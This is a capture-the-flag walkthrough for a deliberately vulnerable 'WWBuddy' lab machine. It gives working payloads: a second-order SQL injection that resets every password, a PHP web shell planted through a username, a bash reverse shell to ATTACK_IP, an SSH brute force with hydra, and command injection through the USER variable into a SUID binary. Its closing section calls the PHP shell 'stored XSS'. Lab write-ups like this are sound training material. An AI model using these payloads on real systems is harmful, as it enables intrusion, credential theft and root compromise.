A "make friends" site still in development. The chain: a second-order SQL injection resets every password, an unsanitized username poisons an admin log into a PHP shell, a MySQL log leaks a password, and a SUID binary trusts the USER env var. Goal: 3 flags.
1 · Enumeration
# Map the room IP to a hostname
echo "10.10.x.x wwbuddy.thm" >> /etc/hosts
# Port scan
nmap -sV -sC wwbuddy.thm
PORT STATE SERVICE VERSION
22/tcp open ssh
80/tcp open http Apache
# Directory enum
gobuster dir -u http://wwbuddy.thm/ -w /usr/share/wordlists/common.txt
/admin /api /register /login /profile
2 · Second-Order SQLi — Reset Everyone's Password
The username is stored unsanitized and later reused inside a raw UPDATE query when you change your own password. Inject a username that makes the WHERE clause match every row — now all passwords become yours.
# 1) Register, then set your username to
' or 1=1-- -
# 2) Change your password to a known value, e.g. adminadmin
# 3) The backend effectively runs
UPDATE users SET password = 'adminadmin'
WHERE old_password = users.old_password
AND username = '' OR 1=1-- -
# 4) Login as any known user — password is now adminadmin
WWBuddy : adminadmin
3 · Log Poisoning → RCE
Login as WWBuddy and plant a PHP one-liner as the username. Then log in as Henry, the account allowed into /admin — the dashboard prints every visitor's username unsanitized, so the payload is executed and a cmd parameter appears.
# Username to plant
<?php system($_GET['cmd']); ?>
# Run commands through /admin
http://wwbuddy.thm/admin/?cmd=id
uid=33(www-data) gid=33(www-data)
# Reverse shell — URL-encode this and pass it to cmd
bash -i >& /dev/tcp/ATTACK_IP/4444 0>&1
# Attacker listener
nc -lvnp 4444
4 · www-data → roberto (MySQL log leak)
Run linpeas. It surfaces /var/log/mysql/general.log, which records every query — including roberto typing his password into the username box by accident.
grep -i roberto /var/log/mysql/general.log
# > roberto : <password>
ssh roberto@wwbuddy.thm
# user flag
cat /home/roberto/importante.txt
# THM{...}
importante.txt is in Portuguese (Roberto is Brazilian): "Jenny turns 26 next week". The web app uses mm/dd/yyyy as default passwords.
5 · roberto → jenny (birthday bruteforce)
# File modified ~Jul 27 2020 → Jenny's birthday in 08/01–08/09/1994
stat /home/roberto/importante.txt | grep Modify
# Wordlist of candidate mm/dd/yyyy dates
seq 1 9 | awk '{printf "08/0%d/1994\n", $1}' > datelist.txt
hydra -l jenny -P datelist.txt wwbuddy.thm ssh
ssh jenny@wwbuddy.thm
6 · jenny → root (SUID + env injection)
/bin/authenticate is SUID-root. Reversing it (Ghidra) shows it builds usermod -G developer <name> from the USER env var and feeds it to system() — so the var itself becomes our injection point.
# Spot the unusual SUID binary
find / -type f -perm -4000 2>/dev/null
/bin/authenticate # SUID, owned by root
# Inject a shell through the env var
export USER="jenny; bash"
/bin/authenticate
# root shell — read the flag
root@wwbuddy:~# cat /root/root.txt
# THM{...}
7 · What Made It Work
The SQL injection in step 2 is second-order, which is why it isn't visible while registering: nothing happens until you later change your own password, at which point the stored username gets dropped into a different query and breaks it. The stored XSS in step 3 needs the same patience. You plant a username as one user, then wait for a different, more privileged user to log in and render it.